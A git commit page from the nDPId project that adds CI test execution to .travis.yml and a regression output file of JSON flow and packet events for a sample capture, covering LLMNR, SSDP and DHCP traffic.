diff options
| author | Toni Uhlig <matzeton@googlemail.com> | 2021-03-24 11:29:26 +0100 |
|---|---|---|
| committer | Toni Uhlig <matzeton@googlemail.com> | 2021-03-24 11:33:04 +0100 |
| commit | 77b4b88b1469161c19a3f6e5a319967a3f4445e9 (patch) | |
| tree | 2e767185134a90beb14e5898261f3fdb49a83cd3 | |
| parent | e835d36f63c337fa0546fcdf2c3b46261851de68 (diff) | |
Added diff'able nDPId-test JSON dumps and travis-ci integration.
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
206 files changed, 74798 insertions, 3 deletions
diff --git a/.travis.yml b/.travis.yml index 631f1409b..46c279bd5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,8 +6,6 @@ script: - git clone https://github.com/ntop/nDPI.git - cd nDPI && ./autogen.sh --prefix=$(realpath ./_install) --with-sanitizer --with-only-libndpi && make install -j4 && cd .. - make -f Makefile.old NDPI_WITH_GCRYPT=yes CUSTOM_LIBNDPI=./nDPI/_install/lib/libndpi.a ENABLE_DEBUG=yes ENABLE_SANITIZER=yes all examples -# RUNTIME TESTS (disabled, needs further testing..) -#- ./tests/do.sh ./nDPI -# EoF RUNTIME TESTS +- test/run_tests.sh nDPI - make -f Makefile.old clean - PKG_CONFIG_PATH="$(realpath ./nDPI/_install/lib/pkgconfig)" make -f Makefile.old PKG_CONFIG_BIN=pkg-config ENABLE_DEBUG=yes ENABLE_SANITIZER=yes all examples diff --git a/test/results/1kxun.pcap.out b/test/results/1kxun.pcap.out new file mode 100644 index 000000000..2dbfe4dda --- /dev/null +++ b/test/results/1kxun.pcap.out @@ -0,0 +1,1056 @@ +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1470104373025,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":59571,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104373,"pkt_ts_usec":25824,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYzEACABFAAA2OooAAAER2FzAqAUs4AAA\/OizFOsAIin75qEAAAABAAAAAAAACGphc29uLVBDAAD\/AAE="} +00502{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1470104373025,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":59571,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00426{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104373,"pkt_ts_usec":127416,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYzEACABFAAA2OosAAAER2FvAqAUs4AAA\/OizFOsAIin75qEAAAABAAAAAAAACGphc29uLVBDAAD\/AAE="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1470104373232,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"239.255.255.250","src_port":55809,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104373,"pkt_ts_usec":232309,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMBcAAAER01nAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1470104373232,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"239.255.255.250","src_port":55809,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1470104373232,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"239.255.255.250","src_port":51389,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00576{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104373,"pkt_ts_usec":232452,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOowAAAERyPHAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1470104373232,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"239.255.255.250","src_port":51389,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1470104373741,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.1","dst_ip":"255.255.255.255","src_port":67,"dst_port":68,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104373,"pkt_ts_usec":741279,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNKS5AgEGAMCRIFIAAIAAwKgFJMCoBSTAqHcBAAAAAAAmWsJjVQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQEKgioX8MMe8wtdP8AAAAA"} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1470104373741,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.1","dst_ip":"255.255.255.255","src_port":67,"dst_port":68,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":""}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1470104375419,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104375,"pkt_ts_usec":419022,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0ZDJAAEAGzmrAqAUQROn9hdFlAFAG4xw3xV6fSoAREAEocwAAAQEIChoPAavPGvHS"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1470104376017,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"239.255.255.250","src_port":64674,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00579{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":17777,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRIAAAQRv2HAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1470104376017,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"239.255.255.250","src_port":64674,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1470104376017,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"239.255.255.250","src_port":55312,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00575{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":17883,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfhwAAAERhWTAqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1470104376017,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"239.255.255.250","src_port":55312,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00576{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":203389,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMIoAAAER0ubAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00577{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":301439,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOpEAAAERyOzAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1470104376301,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00805{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":301823,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/cD6s8PAHCABFAAFIDscAAP8Rq94AAAAA\/\/\/\/\/wBEAEMBNJGnAQEGAAYPv1sAAAAAAAAAAAAAAAAAAAAAAAAAAHA+rPDwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDNwcBeQMGD3f8OQIF3D0HAXA+rPDwBzIEwKgD7TMEAHanAAwEU2hlbv8AAAAAAAAAAAAAAAAAAAAA"} +00547{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1470104376301,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1470104376816,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::406:55a8:6453:25dd","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104376,"pkt_ts_usec":816620,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACcD6s8PAHht1gBWEEACwRAf6AAAAAAAAABAZVqGRTJd3\/AgAAAAAAAAAAAAAAAQACAiICIwAsiWgLJ3MdAAEADgABAAEduOb7cD6s8PAHAAYABAAXABgACAACAAA="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1470104376816,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::406:55a8:6453:25dd","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"proto":"DHCPV6","breed":"Acceptable","category":"Network"}} +00807{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":223309,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNGjoAgEGAOGY7R0AAIAAwKgDVsCoA1bAqHcBAAAAAMjTo5OjcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQEKgioX8MMe8wtdP8AAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::edf5:240a:c8c0:8312","dst_ip":"ff02::1:3","src_port":61603,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":634231,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzMAAQADzD2CHu7jht1gAAAAACARAf6AAAAAAAAA7fUkCsjAgxL\/AgAAAAAAAAAAAAAAAQAD8KMU6wAgDOCgAAAAAAEAAAAAAAAGUk9fWDFDAAD\/AAE="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":14,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::edf5:240a:c8c0:8312","dst_ip":"ff02::1:3","src_port":61603,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"224.0.0.252","src_port":61603,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":634537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAD8zD2CHu7jCABFAAA0LRcAAAER5c7AqAUv4AAA\/PCjFOsAIMFmoAAAAAABAAAAAAAABlJPX1gxQwAA\/wAB"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"224.0.0.252","src_port":61603,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"239.255.255.250","src_port":60267,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00582{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":634699,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLQAAAQRv8LAqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1470104377634,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.47","dst_ip":"239.255.255.250","src_port":60267,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1470104377720,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"224.0.0.252","src_port":51458,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104377,"pkt_ts_usec":720702,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"AQBeAAD8ABxCjnAxCABFAAAyUcEAAAERU03AqHMI4AAA\/MkCFOsAHtPcYF4AAAABAAAAAAAABHdwYWQAAAEAAQ=="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1470104377720,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"224.0.0.252","src_port":51458,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} 